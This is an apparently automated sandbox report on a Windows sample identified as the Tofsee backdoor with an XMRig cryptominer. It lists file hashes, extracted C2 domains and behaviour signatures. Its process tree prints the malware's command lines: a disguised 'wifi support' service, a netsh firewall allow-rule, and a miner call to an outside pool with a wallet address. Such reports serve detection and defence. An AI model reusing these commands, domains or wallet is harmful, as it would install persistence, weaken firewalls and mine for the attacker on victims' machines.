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Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 04:55

General

  • Target

    file.exe

  • Size

    327KB

  • MD5

    c9483aa293f692b9f6d8ba2967fd1c99

  • SHA1

    7100757b4e9d76237ecf7a570bb290232537816f

  • SHA256

    7130e94bd50596e8df99ee446b7629fb391e445f4ce5110522f8df810bad1595

  • SHA512

    bb55946c0cfb917e9bcd59717d003e5718bee0ace66d38191b9d9fde97cb181ff8ce139b2711dc8844b4e45883ebf578f7ec8ecdc359b84f90d676075bb5eac5

  • SSDEEP

    6144:vK07OTzkrbzCEBehsyuQs7dBA0XFsvOZJY:v9qabWhFuQqKmZ

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4072
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\thvhkahs\
      2⤵
        PID:2692
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\aqsfwoz.exe" C:\Windows\SysWOW64\thvhkahs\
        2⤵
          PID:3660
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create thvhkahs binPath= "C:\Windows\SysWOW64\thvhkahs\aqsfwoz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:32
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description thvhkahs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start thvhkahs
          2⤵
          • Launches sc.exe
          PID:4332
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4304
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4072 -s 1260
          2⤵
          • Program crash
          PID:1556
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4072 -ip 4072
        1⤵
          PID:632
        • C:\Windows\SysWOW64\thvhkahs\aqsfwoz.exe
          C:\Windows\SysWOW64\thvhkahs\aqsfwoz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4020
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:2592
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5032
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 512
            2⤵
            • Program crash
            PID:3036
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4020 -ip 4020
          1⤵
            PID:1956

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\aqsfwoz.exe

            Filesize

            11.7MB

            MD5

            1888e847f3176e5d91b44fb486da8271

            SHA1

            45970227d9d690c040760fe70a78a05c67e1c962

            SHA256

            82b2683c45682237be195a81a0e2cb97c84977209dbfb97c90d1b43be3b64bd0

            SHA512

            ca9c56aac69c0646bc28d8f19a3a0a992b82b069fd4b46543c9ebcdb77959a0c0edef129bc5701c8c0136327ac833c9af14d3577addc292bd1120c52f48d7ac8

          • C:\Windows\SysWOW64\thvhkahs\aqsfwoz.exe

            Filesize

            11.7MB

            MD5

            1888e847f3176e5d91b44fb486da8271

            SHA1

            45970227d9d690c040760fe70a78a05c67e1c962

            SHA256

            82b2683c45682237be195a81a0e2cb97c84977209dbfb97c90d1b43be3b64bd0

            SHA512

            ca9c56aac69c0646bc28d8f19a3a0a992b82b069fd4b46543c9ebcdb77959a0c0edef129bc5701c8c0136327ac833c9af14d3577addc292bd1120c52f48d7ac8

          • memory/2592-157-0x00000000025B0000-0x00000000025B6000-memory.dmp

            Filesize

            24KB

          • memory/2592-147-0x0000000000F40000-0x0000000000F55000-memory.dmp

            Filesize

            84KB

          • memory/2592-169-0x00000000025E0000-0x00000000025E7000-memory.dmp

            Filesize

            28KB

          • memory/2592-166-0x0000000007D00000-0x000000000810B000-memory.dmp

            Filesize

            4.0MB

          • memory/2592-163-0x00000000025D0000-0x00000000025D5000-memory.dmp

            Filesize

            20KB

          • memory/2592-160-0x00000000025C0000-0x00000000025D0000-memory.dmp

            Filesize

            64KB

          • memory/2592-154-0x0000000002E00000-0x000000000300F000-memory.dmp

            Filesize

            2.1MB

          • memory/2592-153-0x0000000000F40000-0x0000000000F55000-memory.dmp

            Filesize

            84KB

          • memory/2592-152-0x0000000000F40000-0x0000000000F55000-memory.dmp

            Filesize

            84KB

          • memory/4020-148-0x0000000000728000-0x000000000073E000-memory.dmp

            Filesize

            88KB

          • memory/4020-150-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

          • memory/4072-135-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

          • memory/4072-144-0x0000000000700000-0x0000000000713000-memory.dmp

            Filesize

            76KB

          • memory/4072-143-0x000000000073E000-0x0000000000753000-memory.dmp

            Filesize

            84KB

          • memory/4072-133-0x0000000000700000-0x0000000000713000-memory.dmp

            Filesize

            76KB

          • memory/4072-132-0x000000000073E000-0x0000000000753000-memory.dmp

            Filesize

            84KB

          • memory/4072-145-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

          • memory/5032-173-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/5032-178-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB